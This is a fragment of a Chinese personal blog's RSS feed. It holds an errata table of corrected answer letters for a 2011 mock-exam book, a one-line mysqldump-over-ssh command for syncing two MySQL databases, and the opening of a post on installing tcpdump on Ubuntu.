<table cellspacing="0" cellpadding="0" border="0" width="422" style="font-size: 12px; margin-top: 0px; width: 422px; border-collapse: collapse; height: 288px;" class="MsoNormalTable">
    <tbody style="font-size: 12px; margin-top: 0px;">
        <tr style="font-size: 12px; margin-top: 0px; height: 28.8pt;">
            <td width="457" valign="bottom" nowrap="" style="font-size: 12px; margin-top: 0px; border-color: rgb(236, 233, 216); padding: 0.55pt 0.55pt 0cm; background-color: transparent; width: 342.55pt; height: 28.8pt;" colspan="4">
            <p align="center" style="font-size: 12px; margin: 0cm 0cm 0pt; text-align: center;" class="MsoNormal"><b style="font-size: 12px; margin-top: 0px;"><span lang="EN-US" style="font-size: 12px; margin-top: 0px; font-family: 宋体;">2011</span></b><b style="font-size: 12px; margin-top: 0px;"><span style="font-size: 12px; margin-top: 0px; font-family: 宋体;">版序列之二《模拟试题》勘误表</span></b><b style="font-size: 12px; margin-top: 0px;"><span lang="EN-US" style="font-size: 12pt; margin-top: 0px; font-family: 宋体;"><o:p style="font-size: 12px; margin-top: 0px;"></o:p></span></b></p>
            </td>
        </tr>
        <tr style="font-size: 12px; margin-top: 0px; height: 19.2pt;">
            <td width="457" nowrap="" style="font-size: 12px; margin-top: 0px; border-color: rgb(236, 233, 216) rgb(236, 233, 216) windowtext; border-bottom: 1pt solid windowtext; padding: 0.55pt 0.55pt 0cm; background-color: transparent; width: 342.55pt; height: 19.2pt;" colspan="4">
            <p align="center" style="font-size: 12px; margin: 0cm 0cm 0pt; text-align: center;" class="MsoNormal"><span lang="EN-US" style="font-size: 10pt; margin-top: 0px; font-family: 宋体;">(</span><span style="font-size: 10pt; margin-top: 0px; font-family: 宋体;">截至<span lang="EN-US" style="font-size: 12px; margin-top: 0px;">2010.10.08)</span></span><span lang="EN-US" style="font-size: 10pt; margin-top: 0px; font-family: 宋体;"><o:p style="font-size: 12px; margin-top: 0px;"></o:p></span></p>
            </td>
        </tr>
        <tr style="font-size: 12px; margin-top: 0px; height: 23.4pt;">
            <td width="22" nowrap="" style="font-size: 12px; margin-top: 0px; border-color: rgb(236, 233, 216) rgb(236, 233, 216) windowtext; border-bottom: 1pt solid windowtext; padding: 0.55pt 0.55pt 0cm; background-color: transparent; width: 16.85pt; height: 23.4pt;">
            <p align="center" style="font-size: 12px; margin: 0cm 0cm 0pt; text-align: center;" class="MsoNormal"><span style="font-size: 12px; margin-top: 0px; font-family: 宋体;">页</span><span lang="EN-US" style="font-size: 12px; margin-top: 0px; font-family: 宋体;"><o:p style="font-size: 12px; margin-top: 0px;"></o:p></span></p>
            </td>
            <td width="62" nowrap="" style="font-size: 12px; margin-top: 0px; border-color: rgb(236, 233, 216) rgb(236, 233, 216) windowtext; border-bottom: 1pt solid windowtext; padding: 0.55pt 0.55pt 0cm; background-color: transparent; width: 46.7pt; height: 23.4pt;">
            <p align="center" style="font-size: 12px; margin: 0cm 0cm 0pt; text-align: center;" class="MsoNormal"><span style="font-size: 12px; margin-top: 0px; font-family: 宋体;">行</span><span lang="EN-US" style="font-size: 12px; margin-top: 0px; font-family: 宋体;"><o:p style="font-size: 12px; margin-top: 0px;"></o:p></span></p>
            </td>
            <td width="144" nowrap="" style="font-size: 12px; margin-top: 0px; border-color: rgb(236, 233, 216) rgb(236, 233, 216) windowtext; border-bottom: 1pt solid windowtext; padding: 0.55pt 0.55pt 0cm; background-color: transparent; width: 108pt; height: 23.4pt;">
            <p align="center" style="font-size: 12px; margin: 0cm 0cm 0pt; text-align: center;" class="MsoNormal"><span style="font-size: 12px; margin-top: 0px; font-family: 宋体;">误</span><span lang="EN-US" style="font-size: 12px; margin-top: 0px; font-family: 宋体;"><o:p style="font-size: 12px; margin-top: 0px;"></o:p></span></p>
            </td>
            <td width="228" nowrap="" style="font-size: 12px; margin-top: 0px; border-color: rgb(236, 233, 216) rgb(236, 233, 216) windowtext; border-bottom: 1pt solid windowtext; padding: 0.55pt 0.55pt 0cm; background-color: transparent; width: 171pt; height: 23.4pt;">
            <p style="font-size: 12px; margin: 0cm 0cm 0pt; text-indent: 36.75pt;" class="MsoNormal"><span style="font-size: 12px; margin-top: 0px; font-family: 宋体;">正</span><span lang="EN-US" style="font-size: 12px; margin-top: 0px; font-family: 宋体;"><o:p style="font-size: 12px; margin-top: 0px;"></o:p></span></p>
            </td>
        </tr>
        <tr style="font-size: 12px; margin-top: 0px; height: 16.2pt;">
            <td width="22" nowrap="" style="font-size: 12px; margin-top: 0px; border-color: rgb(236, 233, 216) rgb(236, 233, 216) windowtext; border-bottom: 1pt solid windowtext; padding: 0.55pt 0.55pt 0cm; background-color: transparent; width: 16.85pt; height: 16.2pt;">
            <p align="center" style="font-size: 12px; margin: 0cm 0cm 0pt; text-align: center;" class="MsoNormal"><span lang="EN-US" style="font-size: 9pt; margin-top: 0px;"><font face="Times New Roman" style="font-size: 12px; margin-top: 0px;">163<o:p style="font-size: 12px; margin-top: 0px;"></o:p></font></span></p>
            </td>
            <td width="62" nowrap="" style="font-size: 12px; margin-top: 0px; border-color: rgb(236, 233, 216) rgb(236, 233, 216) windowtext; border-bottom: 1pt solid windowtext; padding: 0.55pt 0.55pt 0cm; background-color: transparent; width: 46.7pt; height: 16.2pt;">
            <p align="center" style="font-size: 12px; margin: 0cm 0cm 0pt; text-align: center;" class="MsoNormal"><span style="font-size: 9pt; margin-top: 0px; font-family: 宋体;">倒</span><span lang="EN-US" style="font-size: 9pt; margin-top: 0px;"><font face="Times New Roman" style="font-size: 12px; margin-top: 0px;">4<o:p style="font-size: 12px; margin-top: 0px;"></o:p></font></span></p>
            </td>
            <td width="144" nowrap="" style="font-size: 12px; margin-top: 0px; border-color: rgb(236, 233, 216) rgb(236, 233, 216) windowtext; border-bottom: 1pt solid windowtext; padding: 0.55pt 0.55pt 0cm; background-color: transparent; width: 108pt; height: 16.2pt;">
            <p align="center" style="font-size: 12px; margin: 0cm 0cm 0pt; text-align: center;" class="MsoNormal"><span lang="EN-US" style="font-size: 9pt; margin-top: 0px;"><font face="Times New Roman" style="font-size: 12px; margin-top: 0px;">1.<span style="font-size: 12px; margin-top: 0px; color: red;">AB</span>C<span style="font-size: 12px; margin-top: 0px; color: red;">D</span> </font></span><span style="font-size: 9pt; margin-top: 0px; font-family: 宋体;">&hellip;</span><span lang="EN-US" style="font-size: 9pt; margin-top: 0px;"><font face="Times New Roman" style="font-size: 12px; margin-top: 0px;"> 5.<span style="font-size: 12px; margin-top: 0px; color: red;">A</span>B<span style="font-size: 12px; margin-top: 0px; color: red;">CD</span><o:p style="font-size: 12px; margin-top: 0px;"></o:p></font></span></p>
            </td>
            <td width="228" nowrap="" style="font-size: 12px; margin-top: 0px; border-color: rgb(236, 233, 216) rgb(236, 233, 216) windowtext; border-bottom: 1pt solid windowtext; padding: 0.55pt 0.55pt 0cm; background-color: transparent; width: 171pt; height: 16.2pt;">
            <p align="center" style="font-size: 12px; margin: 0cm 0cm 0pt; text-align: center;" class="MsoNormal"><span lang="EN-US" style="font-size: 9pt; margin-top: 0px;"><font face="Times New Roman" style="font-size: 12px; margin-top: 0px;">1.<span style="font-size: 12px; margin-top: 0px; color: red;">ABC</span>D </font></span><span style="font-size: 9pt; margin-top: 0px; font-family: 宋体;">&hellip;</span><span lang="EN-US" style="font-size: 9pt; margin-top: 0px;"><font face="Times New Roman" style="font-size: 12px; margin-top: 0px;"> 5.<span style="font-size: 12px; margin-top: 0px; color: red;">A</span>B<span style="font-size: 12px; margin-top: 0px; color: red;">C</span>D<o:p style="font-size: 12px; margin-top: 0px;"></o:p></font></span></p>
            </td>
        </tr>
        <tr style="font-size: 12px; margin-top: 0px; height: 16.2pt;">
            <td width="22" nowrap="" style="font-size: 12px; margin-top: 0px; border-color: rgb(236, 233, 216) rgb(236, 233, 216) black; border-bottom: 1pt solid black; padding: 0.55pt 0.55pt 0cm; background-color: transparent; width: 16.85pt; height: 16.2pt;" rowspan="2">
            <p align="center" style="font-size: 12px; margin: 0cm 0cm 0pt; text-align: center;" class="MsoNormal"><span lang="EN-US" style="font-size: 9pt; margin-top: 0px;"><font face="Times New Roman" style="font-size: 12px; margin-top: 0px;">164<o:p style="font-size: 12px; margin-top: 0px;"></o:p></font></span></p>
            </td>
            <td width="62" nowrap="" style="font-size: 12px; margin-top: 0px; border-color: rgb(236, 233, 216) rgb(236, 233, 216) windowtext; border-bottom: 1pt solid windowtext; padding: 0.55pt 0.55pt 0cm; background-color: transparent; width: 46.7pt; height: 16.2pt;">
            <p align="center" style="font-size: 12px; margin: 0cm 0cm 0pt; text-align: center;" class="MsoNormal"><font face="Times New Roman" style="font-size: 12px; margin-top: 0px;"><span lang="EN-US" style="font-size: 9pt; margin-top: 0px;">3, 5, 6</span><span lang="EN-US" style="font-size: 9pt; margin-top: 0px; font-family: 宋体;"><o:p style="font-size: 12px; margin-top: 0px;"></o:p></span></font></p>
            </td>
            <td width="144" nowrap="" style="font-size: 12px; margin-top: 0px; border-color: rgb(236, 233, 216) rgb(236, 233, 216) windowtext; border-bottom: 1pt solid windowtext; padding: 0.55pt 0.55pt 0cm; background-color: transparent; width: 108pt; height: 16.2pt;">
            <p align="center" style="font-size: 12px; margin: 0cm 0cm 0pt; text-align: center;" class="MsoNormal"><span lang="EN-US" style="font-size: 9pt; margin-top: 0px;"><font face="Times New Roman" style="font-size: 12px; margin-top: 0px;">31.<span style="font-size: 12px; margin-top: 0px; color: red;">ABCD</span> </font></span><span style="font-size: 9pt; margin-top: 0px; font-family: 宋体;">&hellip;</span><span lang="EN-US" style="font-size: 9pt; margin-top: 0px;"><font face="Times New Roman" style="font-size: 12px; margin-top: 0px;"> 43.<span style="font-size: 12px; margin-top: 0px; color: red;">ABCD </span></font></span><span style="font-size: 9pt; margin-top: 0px; font-family: 宋体;">&hellip;</span><font face="Times New Roman" style="font-size: 12px; margin-top: 0px;"><span style="font-size: 9pt; margin-top: 0px; color: red;"> </span><span lang="EN-US" style="font-size: 9pt; margin-top: 0px;">47.A<span style="font-size: 12px; margin-top: 0px; color: red;">BC</span>D<o:p style="font-size: 12px; margin-top: 0px;"></o:p></span></font></p>
            </td>
            <td width="228" nowrap="" style="font-size: 12px; margin-top: 0px; border-color: rgb(236, 233, 216) rgb(236, 233, 216) windowtext; border-bottom: 1pt solid windowtext; padding: 0.55pt 0.55pt 0cm; background-color: transparent; width: 171pt; height: 16.2pt;">
            <p align="center" style="font-size: 12px; margin: 0cm 0cm 0pt; text-align: center;" class="MsoNormal"><span lang="EN-US" style="font-size: 9pt; margin-top: 0px;"><font face="Times New Roman" style="font-size: 12px; margin-top: 0px;">31.<span style="font-size: 12px; margin-top: 0px; color: red;">ABC</span>D<span style="font-size: 12px; margin-top: 0px; color: red;"> </span></font></span><span style="font-size: 9pt; margin-top: 0px; font-family: 宋体;">&hellip;</span><span lang="EN-US" style="font-size: 9pt; margin-top: 0px;"><font face="Times New Roman" style="font-size: 12px; margin-top: 0px;"> 43.<span style="font-size: 12px; margin-top: 0px; color: red;">A</span>B<span style="font-size: 12px; margin-top: 0px; color: red;">CD</span> </font></span><span style="font-size: 9pt; margin-top: 0px; font-family: 宋体;">&hellip;</span><font face="Times New Roman" style="font-size: 12px; margin-top: 0px;"><span style="font-size: 9pt; margin-top: 0px; color: red;"> </span><span lang="EN-US" style="font-size: 9pt; margin-top: 0px;">47.A<span style="font-size: 12px; margin-top: 0px; color: red;">B</span>C<span style="font-size: 12px; margin-top: 0px; color: red;">D</span><o:p style="font-size: 12px; margin-top: 0px;"></o:p></span></font></p>
            </td>
        </tr>
        <tr style="font-size: 12px; margin-top: 0px; height: 16.2pt;">
            <td width="62" nowrap="" style="font-size: 12px; margin-top: 0px; border-color: rgb(236, 233, 216) rgb(236, 233, 216) windowtext; border-bottom: 1pt solid windowtext; padding: 0.55pt 0.55pt 0cm; background-color: transparent; width: 46.7pt; height: 16.2pt;">
            <p align="center" style="font-size: 12px; margin: 0cm 0cm 0pt; text-align: center;" class="MsoNormal"><font face="Times New Roman" style="font-size: 12px; margin-top: 0px;"><span lang="EN-US" style="font-size: 9pt; margin-top: 0px;">15,16,24</span><span lang="EN-US" style="font-size: 9pt; margin-top: 0px; font-family: 宋体;"><o:p style="font-size: 12px; margin-top: 0px;"></o:p></span></font></p>
            </td>
            <td width="144" nowrap="" style="font-size: 12px; margin-top: 0px; border-color: rgb(236, 233, 216) rgb(236, 233, 216) windowtext; border-bottom: 1pt solid windowtext; padding: 0.55pt 0.55pt 0cm; background-color: transparent; width: 108pt; height: 16.2pt;">
            <p align="center" style="font-size: 12px; margin: 0cm 0cm 0pt; text-align: center;" class="MsoNormal"><span lang="EN-US" style="font-size: 9pt; margin-top: 0px;"><font face="Times New Roman" style="font-size: 12px; margin-top: 0px;">93.<span style="font-size: 12px; margin-top: 0px; color: red;">ABCD</span> </font></span><span style="font-size: 9pt; margin-top: 0px; font-family: 宋体;">&hellip;</span><span style="font-size: 9pt; margin-top: 0px;"><font face="Times New Roman" style="font-size: 12px; margin-top: 0px;"> <span lang="EN-US" style="font-size: 12px; margin-top: 0px;">97.<span style="font-size: 12px; margin-top: 0px; color: red;">A</span>B<span style="font-size: 12px; margin-top: 0px; color: red;">CD </span></span></font></span><span style="font-size: 9pt; margin-top: 0px; font-family: 宋体;">&hellip;</span><font face="Times New Roman" style="font-size: 12px; margin-top: 0px;"><span lang="EN-US" style="font-size: 9pt; margin-top: 0px;"> 138.<span style="font-size: 12px; margin-top: 0px; color: red;">A</span>B<span style="font-size: 12px; margin-top: 0px; color: red;">CD</span></span><span lang="EN-US" style="font-size: 12px; margin-top: 0px; font-family: 宋体;"><o:p style="font-size: 12px; margin-top: 0px;"></o:p></span></font></p>
            </td>
            <td width="228" nowrap="" style="font-size: 12px; margin-top: 0px; border-color: rgb(236, 233, 216) rgb(236, 233, 216) windowtext; border-bottom: 1pt solid windowtext; padding: 0.55pt 0.55pt 0cm; background-color: transparent; width: 171pt; height: 16.2pt;">
            <p align="center" style="font-size: 12px; margin: 0cm 0cm 0pt; text-align: center;" class="MsoNormal"><span lang="EN-US" style="font-size: 9pt; margin-top: 0px;"><font face="Times New Roman" style="font-size: 12px; margin-top: 0px;">93.<span style="font-size: 12px; margin-top: 0px; color: red;">AB</span>C<span style="font-size: 12px; margin-top: 0px; color: red;">D</span> </font></span><span style="font-size: 9pt; margin-top: 0px; font-family: 宋体;">&hellip;</span><span style="font-size: 9pt; margin-top: 0px;"><font face="Times New Roman" style="font-size: 12px; margin-top: 0px;"> <span lang="EN-US" style="font-size: 12px; margin-top: 0px;">97.AB<span style="font-size: 12px; margin-top: 0px; color: red;">CD </span></span></font></span><span style="font-size: 9pt; margin-top: 0px; font-family: 宋体;">&hellip;</span><font face="Times New Roman" style="font-size: 12px; margin-top: 0px;"><span lang="EN-US" style="font-size: 9pt; margin-top: 0px;"> 138.AB<span style="font-size: 12px; margin-top: 0px; color: red;">CD</span></span><span lang="EN-US" style="font-size: 12px; margin-top: 0px; font-family: 宋体;"><o:p style="font-size: 12px; margin-top: 0px;"></o:p></span></font></p>
            </td>
        </tr>
        <tr style="font-size: 12px; margin-top: 0px; height: 16.2pt;">
            <td width="22" nowrap="" style="font-size: 12px; margin-top: 0px; border-color: rgb(236, 233, 216) rgb(236, 233, 216) black; border-bottom: 1pt solid black; padding: 0.55pt 0.55pt 0cm; background-color: transparent; width: 16.85pt; height: 16.2pt;" rowspan="4">
            <p align="center" style="font-size: 12px; margin: 0cm 0cm 0pt; text-align: center;" class="MsoNormal"><span lang="EN-US" style="font-size: 9pt; margin-top: 0px;"><font face="Times New Roman" style="font-size: 12px; margin-top: 0px;">165<o:p style="font-size: 12px; margin-top: 0px;"></o:p></font></span></p>
            </td>
            <td width="62" nowrap="" style="font-size: 12px; margin-top: 0px; border-color: rgb(236, 233, 216) rgb(236, 233, 216) windowtext; border-bottom: 1pt solid windowtext; padding: 0.55pt 0.55pt 0cm; background-color: transparent; width: 46.7pt; height: 16.2pt;">
            <p align="center" style="font-size: 12px; margin: 0cm 0cm 0pt; text-align: center;" class="MsoNormal"><span lang="EN-US" style="font-size: 9pt; margin-top: 0px;"><font face="Times New Roman" style="font-size: 12px; margin-top: 0px;">3, 8<o:p style="font-size: 12px; margin-top: 0px;"></o:p></font></span></p>
            </td>
            <td width="144" nowrap="" style="font-size: 12px; margin-top: 0px; border-color: rgb(236, 233, 216) rgb(236, 233, 216) windowtext; border-bottom: 1pt solid windowtext; padding: 0.55pt 0.55pt 0cm; background-color: transparent; width: 108pt; height: 16.2pt;">
            <p align="center" style="font-size: 12px; margin: 0cm 0cm 0pt; text-align: center;" class="MsoNormal"><span lang="EN-US" style="font-size: 9pt; margin-top: 0px;"><font face="Times New Roman" style="font-size: 12px; margin-top: 0px;">227.<span style="font-size: 12px; margin-top: 0px; color: red;">ABC</span>D </font></span><span style="font-size: 9pt; margin-top: 0px; font-family: 宋体;">&hellip;</span><font face="Times New Roman" style="font-size: 12px; margin-top: 0px;"><span style="font-size: 9pt; margin-top: 0px;"> <span lang="EN-US" style="font-size: 12px; margin-top: 0px;">254.<span style="font-size: 12px; margin-top: 0px; color: red;">ABCD</span></span></span><span lang="EN-US" style="font-size: 12px; margin-top: 0px;"><o:p style="font-size: 12px; margin-top: 0px;"></o:p></span></font></p>
            </td>
            <td width="228" nowrap="" style="font-size: 12px; margin-top: 0px; border-color: rgb(236, 233, 216) rgb(236, 233, 216) windowtext; border-bottom: 1pt solid windowtext; padding: 0.55pt 0.55pt 0cm; background-color: transparent; width: 171pt; height: 16.2pt;">
            <p align="center" style="font-size: 12px; margin: 0cm 0cm 0pt; text-align: center;" class="MsoNormal"><span lang="EN-US" style="font-size: 9pt; margin-top: 0px;"><font face="Times New Roman" style="font-size: 12px; margin-top: 0px;">227.<span style="font-size: 12px; margin-top: 0px; color: red;">AB</span>CD </font></span><span style="font-size: 9pt; margin-top: 0px; font-family: 宋体;">&hellip;</span><font face="Times New Roman" style="font-size: 12px; margin-top: 0px;"><span style="font-size: 9pt; margin-top: 0px;"> <span lang="EN-US" style="font-size: 12px; margin-top: 0px;">254.<span style="font-size: 12px; margin-top: 0px; color: red;">AB</span>C<span style="font-size: 12px; margin-top: 0px; color: red;">D</span></span></span><span lang="EN-US" style="font-size: 12px; margin-top: 0px;"><o:p style="font-size: 12px; margin-top: 0px;"></o:p></span></font></p>
            </td>
        </tr>
        <tr style="font-size: 12px; margin-top: 0px; height: 16.2pt;">
            <td width="62" nowrap="" style="font-size: 12px; margin-top: 0px; border-color: rgb(236, 233, 216) rgb(236, 233, 216) windowtext; border-bottom: 1pt solid windowtext; padding: 0.55pt 0.55pt 0cm; background-color: transparent; width: 46.7pt; height: 16.2pt;">
            <p align="center" style="font-size: 12px; margin: 0cm 0cm 0pt; text-align: center;" class="MsoNormal"><span lang="EN-US" style="font-size: 9pt; margin-top: 0px;"><font face="Times New Roman" style="font-size: 12px; margin-top: 0px;">9<o:p style="font-size: 12px; margin-top: 0px;"></o:p></font></span></p>
            </td>
            <td width="144" nowrap="" style="font-size: 12px; margin-top: 0px; border-color: rgb(236, 233, 216) rgb(236, 233, 216) windowtext; border-bottom: 1pt solid windowtext; padding: 0.55pt 0.55pt 0cm; background-color: transparent; width: 108pt; height: 16.2pt;">
            <p align="center" style="font-size: 12px; margin: 0cm 0cm 0pt; text-align: center;" class="MsoNormal"><font face="Times New Roman" style="font-size: 12px; margin-top: 0px;"><span lang="EN-US" style="font-size: 9pt; margin-top: 0px;">256.<span style="font-size: 12px; margin-top: 0px; color: red;">ABCD</span> 257.<span style="font-size: 12px; margin-top: 0px; color: red;">ABC</span>D<span style="font-size: 12px; margin-top: 0px; color: red;"> </span>258.<span style="font-size: 12px; margin-top: 0px; color: red;">ABCD </span>259.AB<span style="font-size: 12px; margin-top: 0px; color: red;">CD</span></span><span lang="EN-US" style="font-size: 12px; margin-top: 0px; font-family: 宋体;"><o:p style="font-size: 12px; margin-top: 0px;"></o:p></span></font></p>
            </td>
            <td width="228" nowrap="" style="font-size: 12px; margin-top: 0px; border-color: rgb(236, 233, 216) rgb(236, 233, 216) windowtext; border-bottom: 1pt solid windowtext; padding: 0.55pt 0.55pt 0cm; background-color: transparent; width: 171pt; height: 16.2pt;">
            <p align="center" style="font-size: 12px; margin: 0cm 0cm 0pt; text-align: center;" class="MsoNormal"><font face="Times New Roman" style="font-size: 12px; margin-top: 0px;"><span lang="EN-US" style="font-size: 9pt; margin-top: 0px;">256.<span style="font-size: 12px; margin-top: 0px; color: red;">ABC</span>D 257.<span style="font-size: 12px; margin-top: 0px; color: red;">ABCD </span>258.AB<span style="font-size: 12px; margin-top: 0px; color: red;">CD </span>259.<span style="font-size: 12px; margin-top: 0px; color: red;">ABC</span>D</span><span lang="EN-US" style="font-size: 12px; margin-top: 0px; font-family: 宋体;"><o:p style="font-size: 12px; margin-top: 0px;"></o:p></span></font></p>
            </td>
        </tr>
        <tr style="font-size: 12px; margin-top: 0px; height: 16.2pt;">
            <td width="62" nowrap="" style="font-size: 12px; margin-top: 0px; border-color: rgb(236, 233, 216) rgb(236, 233, 216) windowtext; border-bottom: 1pt solid windowtext; padding: 0.55pt 0.55pt 0cm; background-color: transparent; width: 46.7pt; height: 16.2pt;">
            <p align="center" style="font-size: 12px; margin: 0cm 0cm 0pt; text-align: center;" class="MsoNormal"><span lang="EN-US" style="font-size: 9pt; margin-top: 0px;"><font face="Times New Roman" style="font-size: 12px; margin-top: 0px;">21, 22<o:p style="font-size: 12px; margin-top: 0px;"></o:p></font></span></p>
            </td>
            <td width="144" nowrap="" style="font-size: 12px; margin-top: 0px; border-color: rgb(236, 233, 216) rgb(236, 233, 216) windowtext; border-bottom: 1pt solid windowtext; padding: 0.55pt 0.55pt 0cm; background-color: transparent; width: 108pt; height: 16.2pt;">
            <p align="center" style="font-size: 12px; margin: 0cm 0cm 0pt; text-align: center;" class="MsoNormal"><span lang="EN-US" style="font-size: 9pt; margin-top: 0px;"><font face="Times New Roman" style="font-size: 12px; margin-top: 0px;">317.<span style="font-size: 12px; margin-top: 0px; color: red;">ABC</span>D </font></span><span style="font-size: 9pt; margin-top: 0px; font-family: 宋体;">&hellip;</span><span style="font-size: 9pt; margin-top: 0px;"><font face="Times New Roman" style="font-size: 12px; margin-top: 0px;"> <span lang="EN-US" style="font-size: 12px; margin-top: 0px;">322.<span style="font-size: 12px; margin-top: 0px; color: red;">ABCD </span></span></font></span><span style="font-size: 9pt; margin-top: 0px; font-family: 宋体;">&hellip;</span><font face="Times New Roman" style="font-size: 12px; margin-top: 0px;"><span lang="EN-US" style="font-size: 9pt; margin-top: 0px;">325.<span style="font-size: 12px; margin-top: 0px; color: red;">ABCD</span></span><span lang="EN-US" style="font-size: 12px; margin-top: 0px;"><o:p style="font-size: 12px; margin-top: 0px;"></o:p></span></font></p>
            </td>
            <td width="228" nowrap="" style="font-size: 12px; margin-top: 0px; border-color: rgb(236, 233, 216) rgb(236, 233, 216) windowtext; border-bottom: 1pt solid windowtext; padding: 0.55pt 0.55pt 0cm; background-color: transparent; width: 171pt; height: 16.2pt;">
            <p align="center" style="font-size: 12px; margin: 0cm 0cm 0pt; text-align: center;" class="MsoNormal"><span lang="EN-US" style="font-size: 9pt; margin-top: 0px;"><font face="Times New Roman" style="font-size: 12px; margin-top: 0px;">317<span style="font-size: 12px; margin-top: 0px; color: red;">.</span>A<span style="font-size: 12px; margin-top: 0px; color: red;">BCD</span> </font></span><span style="font-size: 9pt; margin-top: 0px; font-family: 宋体;">&hellip;</span><span style="font-size: 9pt; margin-top: 0px;"><font face="Times New Roman" style="font-size: 12px; margin-top: 0px;"> <span lang="EN-US" style="font-size: 12px; margin-top: 0px;">322.<span style="font-size: 12px; margin-top: 0px; color: red;">ABC</span>D<span style="font-size: 12px; margin-top: 0px; color: red;"> </span></span></font></span><span style="font-size: 9pt; margin-top: 0px; font-family: 宋体;">&hellip;</span><font face="Times New Roman" style="font-size: 12px; margin-top: 0px;"><span lang="EN-US" style="font-size: 9pt; margin-top: 0px;"> 325.<span style="font-size: 12px; margin-top: 0px; color: red;">AB</span>C<span style="font-size: 12px; margin-top: 0px; color: red;">D</span></span><span lang="EN-US" style="font-size: 12px; margin-top: 0px;"><o:p style="font-size: 12px; margin-top: 0px;"></o:p></span></font></p>
            </td>
        </tr>
        <tr style="font-size: 12px; margin-top: 0px; height: 16.2pt;">
            <td width="62" nowrap="" style="font-size: 12px; margin-top: 0px; border-color: rgb(236, 233, 216) rgb(236, 233, 216) windowtext; border-bottom: 1pt solid windowtext; padding: 0.55pt 0.55pt 0cm; background-color: transparent; width: 46.7pt; height: 16.2pt;">
            <p align="center" style="font-size: 12px; margin: 0cm 0cm 0pt; text-align: center;" class="MsoNormal"><span lang="EN-US" style="font-size: 9pt; margin-top: 0px;"><font face="Times New Roman" style="font-size: 12px; margin-top: 0px;">32, 35<o:p style="font-size: 12px; margin-top: 0px;"></o:p></font></span></p>
            </td>
            <td width="144" nowrap="" style="font-size: 12px; margin-top: 0px; border-color: rgb(236, 233, 216) rgb(236, 233, 216) windowtext; border-bottom: 1pt solid windowtext; padding: 0.55pt 0.55pt 0cm; background-color: transparent; width: 108pt; height: 16.2pt;">
            <p align="center" style="font-size: 12px; margin: 0cm -9.45pt 0pt 0cm; text-align: center;" class="MsoNormal"><span lang="EN-US" style="font-size: 9pt; margin-top: 0px;"><font face="Times New Roman" style="font-size: 12px; margin-top: 0px;">372.<span style="font-size: 12px; margin-top: 0px; color: red;">A</span>B<span style="font-size: 12px; margin-top: 0px; color: red;">CD</span> 373.A<span style="font-size: 12px; margin-top: 0px; color: red;">BCD </span>374.<span style="font-size: 12px; margin-top: 0px; color: red;">ABC</span>D</font></span><span style="font-size: 9pt; margin-top: 0px; font-family: 宋体;">&hellip;</span><font face="Times New Roman" style="font-size: 12px; margin-top: 0px;"><span lang="EN-US" style="font-size: 9pt; margin-top: 0px;">387.<span style="font-size: 12px; margin-top: 0px; color: red;">ABCD</span></span><span lang="EN-US" style="font-size: 12px; margin-top: 0px; font-family: 宋体;"><o:p style="font-size: 12px; margin-top: 0px;"></o:p></span></font></p>
            </td>
            <td width="228" nowrap="" style="font-size: 12px; margin-top: 0px; border-color: rgb(236, 233, 216) rgb(236, 233, 216) windowtext; border-bottom: 1pt solid windowtext; padding: 0.55pt 0.55pt 0cm; background-color: transparent; width: 171pt; height: 16.2pt;">
            <p align="center" style="font-size: 12px; margin: 0cm 0cm 0pt 8.4pt; text-align: center;" class="MsoNormal"><span lang="EN-US" style="font-size: 9pt; margin-top: 0px;"><font face="Times New Roman" style="font-size: 12px; margin-top: 0px;">372.<span style="font-size: 12px; margin-top: 0px; color: red;">ABC</span>D 373.<span style="font-size: 12px; margin-top: 0px; color: red;">ABC</span>D<span style="font-size: 12px; margin-top: 0px; color: red;"> </span>374.A<span style="font-size: 12px; margin-top: 0px; color: red;">BCD</span></font></span><span style="font-size: 9pt; margin-top: 0px; font-family: 宋体;">&hellip;</span><font face="Times New Roman" style="font-size: 12px; margin-top: 0px;"><span lang="EN-US" style="font-size: 9pt; margin-top: 0px;">387.<span style="font-size: 12px; margin-top: 0px; color: red;">A</span>B<span style="font-size: 12px; margin-top: 0px; color: red;">CD</span></span><span lang="EN-US" style="font-size: 12px; margin-top: 0px; font-family: 宋体;"><o:p style="font-size: 12px; margin-top: 0px;"></o:p></span></font></p>
            </td>
        </tr>
    </tbody>
</table>
<p style="font-size: 12px; margin-top: 0px;">&nbsp;</p>
<p style="font-size: 12px; margin: 0cm 0cm 0pt;" class="MsoNormal"><span lang="EN-US" style="font-size: 12px; margin-top: 0px;"><span style="font-size: 12px; margin-top: 0px;"><font size="3" face="Times New Roman" style="font-size: 12px; margin-top: 0px;">         </font></span></span></p>
<p style="font-size: 12px; margin: 0cm 0cm 0pt;" class="MsoNormal"><span lang="EN-US" style="font-size: 12px; margin-top: 0px;"><o:p style="font-size: 12px; margin-top: 0px;"><font size="3" face="Times New Roman" style="font-size: 12px; margin-top: 0px;"> </font></o:p></span></p>
</span></p>]]></description>
	<pubDate>Wed, 27 Oct 2010 13:08:14 +0000</pubDate>
	<author>Holmesian</author>
	<guid>http://www.holmesian.org/no1_no2_error</guid>

</item>
<item>
	<title>同步两MySQL数据库</title>
	<link>http://www.holmesian.org/double-mysql</link>
	<description><![CDATA[<p>一句Shell同步两MySQL数据库（ssh+gzip极速）</p>
<p><pre class="brush:shell; toolbar: true; auto-links: true;">mysqldump --single-transaction --all-databases --master-data=1 -u[user1] -p[pass1] | gzip -c - | ssh [user]@[host] "gunzip -c - | mysql -u[user2] -p[pass2]"</pre></p><div id="related_log" style="font-size:14px;line-height:24pt"><p><b>你可能还感兴趣：</b></p><p><a href="http://www.holmesian.org/MySQL-BinLog">MySQL服务器的log-bin功能</a></p><p><a href="http://www.holmesian.org/FreeBSD_SNMP_MRTG">FreeBSD8下Nginx+SNMP+MRTG监控网络</a></p><p><a href="http://www.holmesian.org/FreeBSD_slice_partition">freeBSD安装过程中Invalid partition table问题</a></p><p><a href="http://www.holmesian.org/FreeBSD_newsyslog">完美解决FreeBSD下日志轮转问题</a></p><p><a href="http://www.holmesian.org/post/555">FreeBSD装openwebmail</a></p><p><a href="http://www.holmesian.org/FreeBSD-oper">FreeBSD命令速记</a></p></div>]]></description>
	<pubDate>Tue, 26 Oct 2010 02:30:22 +0000</pubDate>
	<author>Holmesian</author>
	<guid>http://www.holmesian.org/double-mysql</guid>

</item>
<item>
	<title>Ubuntu下的抓包工具tcpdump</title>
	<link>http://www.holmesian.org/Ubuntu_tcpdump</link>
	<description><![CDATA[<p>Ubuntu默认是安装好了tcpdump工具的，如果没有安装的话使用sudo apt-get install tcpdump即可安装。</p>
